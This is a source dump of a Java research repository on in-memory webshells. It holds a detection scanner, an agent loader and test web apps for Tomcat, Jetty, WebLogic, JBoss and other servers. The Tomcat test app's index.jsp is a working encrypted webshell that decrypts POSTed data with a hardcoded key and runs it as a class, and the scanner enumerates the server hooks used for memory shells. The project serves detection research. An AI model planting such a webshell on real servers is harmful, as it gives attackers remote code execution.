├── memshell-inject
├── src
│ └── main
│ │ ├── resources
│ │ └── MANIFEST.MF
│ │ └── java
│ │ └── org
│ │ └── su18
│ │ └── memshell
│ │ ├── agent
│ │ ├── TestAgent.java
│ │ └── TestTransformer.java
│ │ └── inject
│ │ └── AttachAgent.java
└── pom.xml
├── memshell-loader
├── src
│ └── main
│ │ ├── resources
│ │ └── MANIFEST.MF
│ │ └── java
│ │ └── org
│ │ └── su18
│ │ └── memshell
│ │ └── loader
│ │ ├── commons
│ │ ├── Constants.java
│ │ └── AgentCache.java
│ │ ├── utils
│ │ └── StringUtils.java
│ │ ├── VirtualMachineProxy.java
│ │ └── SuClassLoader.java
└── pom.xml
├── suagent
└── banner.txt
├── memshell-spring
├── web
│ └── WEB-INF
│ │ ├── applicationContext.xml
│ │ ├── dispatcher-servlet.xml
│ │ └── web.xml
├── src
│ └── main
│ │ └── java
│ │ └── org
│ │ └── su18
│ │ └── memshell
│ │ └── spring
│ │ └── controller
│ │ ├── IndexController.java
│ │ ├── AddInterceptor.java
│ │ ├── AddController.java
│ │ └── DynamicUtils.java
└── pom.xml
├── memshell-test
├── memshell-test-tomcat
│ ├── web
│ │ ├── index.jsp
│ │ └── WEB-INF
│ │ │ └── web.xml
│ └── src
│ │ └── org
│ │ └── su18
│ │ └── memshell
│ │ └── test
│ │ └── tomcat
│ │ ├── QueryStringServlet.java
│ │ ├── IndexServlet.java
│ │ ├── Generate.java
│ │ ├── AddTomcatListener.java
│ │ ├── AddTomcatValve.java
│ │ ├── AddTomcatServlet.java
│ │ └── AddTomcatFilter.java
├── memshell-test-jetty
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── jetty
│ │ │ ├── IndexServlet.java
│ │ │ ├── DynamicUtils.java
│ │ │ ├── AddJettyServlet.java
│ │ │ └── AddJettyFilter.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-resin
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── resin
│ │ │ ├── IndexServlet.java
│ │ │ ├── AddResinServlet.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── AddResinFilter.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-weblogic
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── weblogic
│ │ │ ├── IndexServlet.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── AddWeblogicFilter.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-bes
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── bes
│ │ │ ├── IndexServlet.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── AddBESFilter.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-glassfish
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── glassfish
│ │ │ ├── IndexServlet.java
│ │ │ ├── AddGlassFishServiceList.java
│ │ │ ├── AddGlassFishFilter.java
│ │ │ └── DynamicUtils.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-websphere
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── websphere
│ │ │ ├── IndexServlet.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── AddWebsphereFilter.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-apusic
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── apusic
│ │ │ ├── IndexServlet.java
│ │ │ ├── NewFilter.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── AddApusicFilter.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-inforsuite
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── inforsuite
│ │ │ ├── IndexServlet.java
│ │ │ ├── DynamicUtils.java
│ │ │ └── AddInforSuiteFilter.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-tongweb
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── tongweb
│ │ │ ├── IndexServlet.java
│ │ │ ├── AddTongWebServlet.java
│ │ │ └── DynamicUtils.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
├── memshell-test-jboss
│ ├── src
│ │ └── org
│ │ │ └── su18
│ │ │ └── memshell
│ │ │ └── test
│ │ │ └── jboss
│ │ │ ├── IndexServlet.java
│ │ │ ├── AddJBossFilter.java
│ │ │ ├── AddJBossServlet.java
│ │ │ └── DynamicUtils.java
│ └── web
│ │ └── WEB-INF
│ │ └── web.xml
└── pom.xml
├── memshell-scanner
├── src
│ └── main
│ │ └── java
│ │ └── org
│ │ └── su18
│ │ └── memshell
│ │ └── scanner
│ │ ├── common
│ │ └── MemoryShellType.java
│ │ ├── asm
│ │ ├── SuMethodDesc.java
│ │ ├── SuClassWriter.java
│ │ ├── SuClassDesc.java
│ │ ├── SuClassVisitor.java
│ │ └── SuMethodVisitor.java
│ │ ├── SuTransformer.java
│ │ ├── BootStrap.java
│ │ └── utils
│ │ └── ClassUtils.java
├── dependency-reduced-pom.xml
└── pom.xml
├── pom.xml
├── Readme.md
└── .gitignore
/memshell-inject/src/main/resources/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Agent-Class: org.su18.memshell.agent.TestAgent
3 | Can-Retransform-Classes: true
4 |
--------------------------------------------------------------------------------
/memshell-loader/src/main/resources/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Agent-Class: org.su18.memshell.loader.Agent
3 | Premain-Class: org.su18.memshell.loader.Agent
4 | Main-Class: org.su18.memshell.loader.Agent
5 | Can-Retransform-Classes: true
6 | Can-Redefine-Classes: true
7 |
--------------------------------------------------------------------------------
/suagent/banner.txt:
--------------------------------------------------------------------------------
1 | _.-^^---....,,--
2 | _-- --_
3 | < >)
4 | | |
5 | \._ _./
6 | ```--. . , ; .--'''
7 | | | |
8 | .-=|| | |=-.
9 | `-=#$%&%$#=-'
10 | | ; :|
11 | _____.,-#%&$@%#~,._____
12 |
--------------------------------------------------------------------------------
/memshell-spring/web/WEB-INF/applicationContext.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tomcat/web/index.jsp:
--------------------------------------------------------------------------------
1 | <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/QueryStringServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.tomcat;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class QueryStringServlet extends HttpServlet {
13 |
14 | @Override
15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
16 | resp.getWriter().println(req.getQueryString());
17 | }
18 |
19 | }
20 |
--------------------------------------------------------------------------------
/memshell-loader/src/main/java/org/su18/memshell/loader/commons/Constants.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.loader.commons;
2 |
3 | /**
4 | * 常量配置类
5 | *
6 | * @author su18
7 | */
8 | public class Constants {
9 |
10 | /**
11 | * Java内部包名过滤正则
12 | */
13 | public static final String JAVA_INTERNAL_PACKAGES = "^(java|javax|jakarta|(com\\.)?sun)\\..*";
14 |
15 | public static final String AGENT_NAME = "suagent";
16 |
17 | public static final String ENCODING = "UTF-8";
18 |
19 | public static final String AGENT_FILE_NAME = AGENT_NAME + "-scanner.jar";
20 |
21 | /**
22 | * 定义Agent loader文件名称
23 | */
24 | public static final String AGENT_LOADER_FILE_NAME = AGENT_NAME + "-loader.jar";
25 |
26 |
27 | public static final String BANNER_FILE_NAME = "banner.txt";
28 |
29 |
30 | }
31 |
--------------------------------------------------------------------------------
/memshell-spring/src/main/java/org/su18/memshell/spring/controller/IndexController.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.spring.controller;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.GetMapping;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 |
7 | import javax.servlet.http.HttpServletRequest;
8 | import javax.servlet.http.HttpServletResponse;
9 |
10 | /**
11 | * spring index controller
12 | *
13 | * @author su18
14 | */
15 | @Controller
16 | @RequestMapping(value = "/index")
17 | public class IndexController {
18 |
19 | @GetMapping()
20 | public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {
21 | response.getWriter().println("spring index controller");
22 | }
23 |
24 | }
25 |
--------------------------------------------------------------------------------
/memshell-spring/web/WEB-INF/dispatcher-servlet.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-jetty/src/org/su18/memshell/test/jetty/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.jetty;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class IndexServlet extends HttpServlet {
13 |
14 | @Override
15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
16 | String message = "jetty index servlet test";
17 | String id = req.getParameter("id");
18 |
19 | StringBuilder sb = new StringBuilder();
20 | sb.append(message);
21 | if (id != null && !id.isEmpty()) {
22 | sb.append("\nid: ").append(id);
23 | }
24 |
25 | resp.getWriter().println(sb);
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-resin/src/org/su18/memshell/test/resin/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.resin;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class IndexServlet extends HttpServlet {
13 |
14 | @Override
15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
16 | String message = "resin index servlet test";
17 | String id = req.getParameter("id");
18 |
19 | StringBuilder sb = new StringBuilder();
20 | sb.append(message);
21 | if (id != null && !id.isEmpty()) {
22 | sb.append("\nid: ").append(id);
23 | }
24 |
25 | resp.getWriter().println(sb);
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.tomcat;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class IndexServlet extends HttpServlet {
13 |
14 | @Override
15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
16 | String message = "tomcat index servlet test";
17 | String id = req.getParameter("id");
18 |
19 | StringBuilder sb = new StringBuilder();
20 | sb.append(message);
21 | if (id != null && !id.isEmpty()) {
22 | sb.append("\nid: ").append(id);
23 | }
24 |
25 | resp.getWriter().println(sb);
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-weblogic/src/org/su18/memshell/test/weblogic/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.weblogic;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class IndexServlet extends HttpServlet {
13 |
14 | @Override
15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
16 | String message = "weblogic index servlet test";
17 | String id = req.getParameter("id");
18 |
19 | StringBuilder sb = new StringBuilder();
20 | sb.append(message);
21 | if (id != null && !id.isEmpty()) {
22 | sb.append("\nid: ").append(id);
23 | }
24 |
25 | resp.getWriter().println(sb);
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-bes/src/org/su18/memshell/test/bes/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.bes;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * 宝兰德中间件测试
11 | *
12 | * @author su18
13 | */
14 | public class IndexServlet extends HttpServlet {
15 |
16 | @Override
17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
18 | String message = "bes index servlet test";
19 | String id = req.getParameter("id");
20 |
21 | StringBuilder sb = new StringBuilder();
22 | sb.append(message);
23 | if (id != null && !id.isEmpty()) {
24 | sb.append("\nid: ").append(id);
25 | }
26 |
27 | resp.getWriter().println(sb);
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-glassfish/src/org/su18/memshell/test/glassfish/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.glassfish;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class IndexServlet extends HttpServlet {
13 |
14 | @Override
15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
16 | String message = "glassfish index servlet test";
17 | String id = req.getParameter("id");
18 |
19 | StringBuilder sb = new StringBuilder();
20 | sb.append(message);
21 | if (id != null && !id.isEmpty()) {
22 | sb.append("\nid: ").append(id);
23 | }
24 |
25 | resp.getWriter().println(sb);
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-websphere/src/org/su18/memshell/test/websphere/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.websphere;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * @author su18
11 | */
12 | public class IndexServlet extends HttpServlet {
13 |
14 | @Override
15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
16 | String message = "websphere/liberty index servlet test";
17 | String id = req.getParameter("id");
18 |
19 | StringBuilder sb = new StringBuilder();
20 | sb.append(message);
21 | if (id != null && !id.isEmpty()) {
22 | sb.append("\nid: ").append(id);
23 | }
24 |
25 | resp.getWriter().println(sb);
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-apusic/src/org/su18/memshell/test/apusic/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.apusic;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * 金蝶中间件测试
11 | *
12 | * @author su18
13 | */
14 | public class IndexServlet extends HttpServlet {
15 |
16 | @Override
17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
18 | String message = "apusic index servlet test";
19 | String id = req.getParameter("id");
20 |
21 | StringBuilder sb = new StringBuilder();
22 | sb.append(message);
23 | if (id != null && !id.isEmpty()) {
24 | sb.append("\nid: ").append(id);
25 | }
26 |
27 | resp.getWriter().println(sb);
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-inforsuite/src/org/su18/memshell/test/inforsuite/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.inforsuite;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * 中创中间件测试
11 | *
12 | * @author su18
13 | */
14 | public class IndexServlet extends HttpServlet {
15 |
16 | @Override
17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
18 | String message = "inforsuite index servlet test";
19 | String id = req.getParameter("id");
20 |
21 | StringBuilder sb = new StringBuilder();
22 | sb.append(message);
23 | if (id != null && !id.isEmpty()) {
24 | sb.append("\nid: ").append(id);
25 | }
26 |
27 | resp.getWriter().println(sb);
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tongweb/src/org/su18/memshell/test/tongweb/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.tongweb;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * 东方通中间件 TongWeb 测试
11 | *
12 | * @author su18
13 | */
14 | public class IndexServlet extends HttpServlet {
15 |
16 | @Override
17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
18 | String message = "tongweb index servlet test";
19 | String id = req.getParameter("id");
20 |
21 | StringBuilder sb = new StringBuilder();
22 | sb.append(message);
23 | if (id != null && !id.isEmpty()) {
24 | sb.append("\nid: ").append(id);
25 | }
26 |
27 | resp.getWriter().println(sb);
28 | }
29 | }
30 |
31 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-jboss/src/org/su18/memshell/test/jboss/IndexServlet.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.jboss;
2 |
3 | import javax.servlet.ServletException;
4 | import javax.servlet.http.HttpServlet;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.io.IOException;
8 |
9 | /**
10 | * io.undertow.server.HttpHandler 可以被用来做内存马
11 | *
12 | * @author su18
13 | */
14 | public class IndexServlet extends HttpServlet {
15 |
16 | @Override
17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
18 | String message = "jboss index servlet test";
19 | String id = req.getParameter("id");
20 |
21 | StringBuilder sb = new StringBuilder();
22 | sb.append(message);
23 | if (id != null && !id.isEmpty()) {
24 | sb.append("\nid: ").append(id);
25 | }
26 |
27 | resp.getWriter().println(sb);
28 | }
29 | }
--------------------------------------------------------------------------------
/memshell-test/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 | MemoryShell
7 | org.su18
8 | 1.0.0
9 |
10 | 4.0.0
11 |
12 |
13 |
14 | javax.servlet
15 | javax.servlet-api
16 | 3.1.0
17 | provided
18 |
19 |
20 |
21 | memshell-test
22 |
23 |
24 | 8
25 | 8
26 |
27 |
28 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-bes/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | IndexServlet
9 | org.su18.memshell.test.bes.IndexServlet
10 |
11 |
12 |
13 | AddBESFilter
14 | org.su18.memshell.test.bes.AddBESFilter
15 |
16 |
17 |
18 | IndexServlet
19 | /index
20 |
21 |
22 |
23 | AddBESFilter
24 | /addBESFilter
25 |
26 |
27 |
--------------------------------------------------------------------------------
/memshell-loader/src/main/java/org/su18/memshell/loader/utils/StringUtils.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.loader.utils;
2 |
3 | import java.io.UnsupportedEncodingException;
4 |
5 | import static org.su18.memshell.loader.commons.Constants.AGENT_NAME;
6 | import static org.su18.memshell.loader.commons.Constants.ENCODING;
7 |
8 | /**
9 | * 字符串编码处理工具类
10 | *
11 | * @author su18
12 | */
13 | public class StringUtils {
14 |
15 |
16 | private static final String DEFAULT_ENCODING = System.getProperty("file.encoding");
17 |
18 | public static String charset(String str) {
19 | try {
20 | if (!ENCODING.equals(DEFAULT_ENCODING)) {
21 | return new String(str.getBytes(), DEFAULT_ENCODING);
22 | }
23 |
24 | return str;
25 | } catch (UnsupportedEncodingException e) {
26 | // ignore
27 | }
28 |
29 | return str;
30 | }
31 |
32 | public static void println(String str) {
33 | System.out.println("[ " + AGENT_NAME + " ] " + charset(str));
34 | }
35 |
36 | public static void print(String str) {
37 | System.out.println(charset(str));
38 | }
39 |
40 | }
--------------------------------------------------------------------------------
/memshell-test/memshell-test-weblogic/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | IndexServlet
9 | org.su18.memshell.test.weblogic.IndexServlet
10 |
11 |
12 |
13 | AddWeblogicFilter
14 | org.su18.memshell.test.weblogic.AddWeblogicFilter
15 |
16 |
17 |
18 | IndexServlet
19 | /index
20 |
21 |
22 |
23 | AddWeblogicFilter
24 | /addWeblogicFilter
25 |
26 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tongweb/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 | IndexServlet
8 | org.su18.memshell.test.tongweb.IndexServlet
9 |
10 |
11 |
12 | AddTongWebServlet
13 | org.su18.memshell.test.tongweb.AddTongWebServlet
14 |
15 |
16 |
17 | IndexServlet
18 | /index
19 |
20 |
21 |
22 | AddTongWebServlet
23 | /addTongWebServlet
24 |
25 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-websphere/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | IndexServlet
9 | org.su18.memshell.test.websphere.IndexServlet
10 |
11 |
12 |
13 | AddWebsphereFilter
14 | org.su18.memshell.test.websphere.AddWebsphereFilter
15 |
16 |
17 |
18 | IndexServlet
19 | /index
20 |
21 |
22 |
23 |
24 | AddWebsphereFilter
25 | /addWebsphereFilter
26 |
27 |
--------------------------------------------------------------------------------
/memshell-scanner/src/main/java/org/su18/memshell/scanner/common/MemoryShellType.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.scanner.common;
2 |
3 | /**
4 | * @author su18
5 | */
6 | public enum MemoryShellType {
7 | /**
8 | * 内存马类型
9 | */
10 | SERVLET("javax.servlet.Servlet", "service"),
11 | FILTER("javax.servlet.Filter", "doFilter"),
12 | LISTENER("javax.servlet.ServletRequestListener", "request"),
13 | INTERCEPTOR("org.springframework.web.servlet.HandlerInterceptor", "preHandle"),
14 | CONTROLLER("org.springframework.stereotype.Controller", "null"),
15 | VALVE("org.apache.catalina.Valve", "invoke"),
16 | GRIZZLY("org.glassfish.grizzly.filterchain.Filter", "handle");
17 |
18 |
19 | /**
20 | * hook 类型
21 | */
22 | private final String hook;
23 |
24 | /**
25 | * hook 方法
26 | */
27 | private final String method;
28 |
29 |
30 | MemoryShellType(String hookClass, String hookMethod) {
31 | this.hook = hookClass;
32 | this.method = hookMethod;
33 | }
34 |
35 | public String getHook() {
36 | return hook;
37 | }
38 |
39 | public String getMethod() {
40 | return method;
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-inforsuite/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | IndexServlet
9 | org.su18.memshell.test.inforsuite.IndexServlet
10 |
11 |
12 |
13 | AddInforSuiteFilter
14 | org.su18.memshell.test.inforsuite.AddInforSuiteFilter
15 |
16 |
17 |
18 | IndexServlet
19 | /index
20 |
21 |
22 |
23 | AddInforSuiteFilter
24 | /addInforSuiteFilter
25 |
26 |
27 |
--------------------------------------------------------------------------------
/memshell-spring/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 | contextConfigLocation
8 | /WEB-INF/applicationContext.xml
9 |
10 |
11 | org.springframework.web.context.ContextLoaderListener
12 |
13 |
14 | dispatcher
15 | org.springframework.web.servlet.DispatcherServlet
16 |
17 | contextConfigLocation
18 | WEB-INF/dispatcher-servlet.xml
19 |
20 | 1
21 |
22 |
23 | dispatcher
24 | /
25 |
26 |
--------------------------------------------------------------------------------
/memshell-spring/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 | MemoryShell
7 | org.su18
8 | 1.0.0
9 |
10 | 4.0.0
11 |
12 | memshell-spring
13 |
14 |
15 |
16 | org.springframework
17 | spring-webmvc
18 | 5.2.3.RELEASE
19 |
20 |
21 | javax.servlet
22 | javax.servlet-api
23 | 3.1.0
24 | provided
25 |
26 |
27 |
28 |
29 | 8
30 | 8
31 |
32 |
33 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/Generate.java:
--------------------------------------------------------------------------------
1 | package org.su18.memshell.test.tomcat;
2 |
3 | import sun.misc.BASE64Encoder;
4 |
5 | import java.io.ByteArrayOutputStream;
6 | import java.io.FileInputStream;
7 | import java.io.IOException;
8 | import java.io.InputStream;
9 |
10 | /**
11 | * @author su18
12 | */
13 | public class Generate {
14 |
15 | public static void main(String[] args) throws IOException {
16 | FileInputStream fileInputStream = new FileInputStream("/Users/phoebe/IdeaProjects/MemoryShell/out/production/memshell-test-glassfish/org/su18/memshell/test/glassfish/TestGrizzlyFilter.class");
17 | byte[] bytes = toByteArray(fileInputStream);
18 | BASE64Encoder encoder = new BASE64Encoder();
19 | System.out.println(encoder.encode(bytes).replace("\n", ""));
20 |
21 |
22 | }
23 |
24 | public static byte[] toByteArray(InputStream input) throws IOException {
25 | ByteArrayOutputStream output = new ByteArrayOutputStream();
26 | byte[] buffer = new byte[10240];
27 | int n = 0;
28 | while (-1 != (n = input.read(buffer))) {
29 | output.write(buffer, 0, n);
30 | }
31 | return output.toByteArray();
32 | }
33 |
34 | }
35 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.su18
8 | MemoryShell
9 | pom
10 | 1.0.0
11 |
12 | memshell-scanner
13 | memshell-spring
14 | memshell-inject
15 | memshell-test
16 | memshell-loader
17 |
18 |
19 |
20 |
21 |
22 |
23 | org.springframework.boot
24 | spring-boot-maven-plugin
25 | 1.5.4.RELEASE
26 |
27 |
28 |
29 |
30 |
31 | 8
32 | 8
33 |
34 |
35 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-resin/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 | IndexServlet
7 | org.su18.memshell.test.resin.IndexServlet
8 |
9 |
10 |
11 | AddResinServlet
12 | org.su18.memshell.test.resin.AddResinServlet
13 |
14 |
15 |
16 | AddResinFilter
17 | org.su18.memshell.test.resin.AddResinFilter
18 |
19 |
20 |
21 | IndexServlet
22 | /index
23 |
24 |
25 |
26 | AddResinServlet
27 | /addResinServlet
28 |
29 |
30 |
31 | AddResinFilter
32 | /addResinFilter
33 |
34 |
35 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-apusic/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | IndexServlet
9 | org.su18.memshell.test.apusic.IndexServlet
10 |
11 |
12 |
13 | AddApusicFilter
14 | org.su18.memshell.test.apusic.AddApusicFilter
15 |
16 |
17 |
18 | NewFilter
19 | org.su18.memshell.test.apusic.NewFilter
20 |
21 |
22 |
23 | IndexServlet
24 | /index
25 |
26 |
27 |
28 | AddApusicFilter
29 | /addApusicFilter
30 |
31 |
32 |
33 | NewFilter
34 | /*
35 |
36 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-jboss/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | IndexServlet
9 | org.su18.memshell.test.jboss.IndexServlet
10 |
11 |
12 | AddJBossServlet
13 | org.su18.memshell.test.jboss.AddJBossServlet
14 |
15 |
16 | AddJBossFilter
17 | org.su18.memshell.test.jboss.AddJBossFilter
18 |
19 |
20 |
21 | IndexServlet
22 | /index
23 |
24 |
25 |
26 | AddJBossServlet
27 | /addJBossServlet
28 |
29 |
30 |
31 | AddJBossFilter
32 | /addJBossFilter
33 |
34 |
--------------------------------------------------------------------------------
/memshell-test/memshell-test-jetty/web/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 | IndexServlet
9 | org.su18.memshell.test.jetty.IndexServlet
10 |
11 |
12 | AddJettyServlet
13 | org.su18.memshell.test.jetty.AddJettyServlet
14 |
15 |
16 | AddJettyFilter
17 | org.su18.memshell.test.jetty.AddJettyFilter
18 |
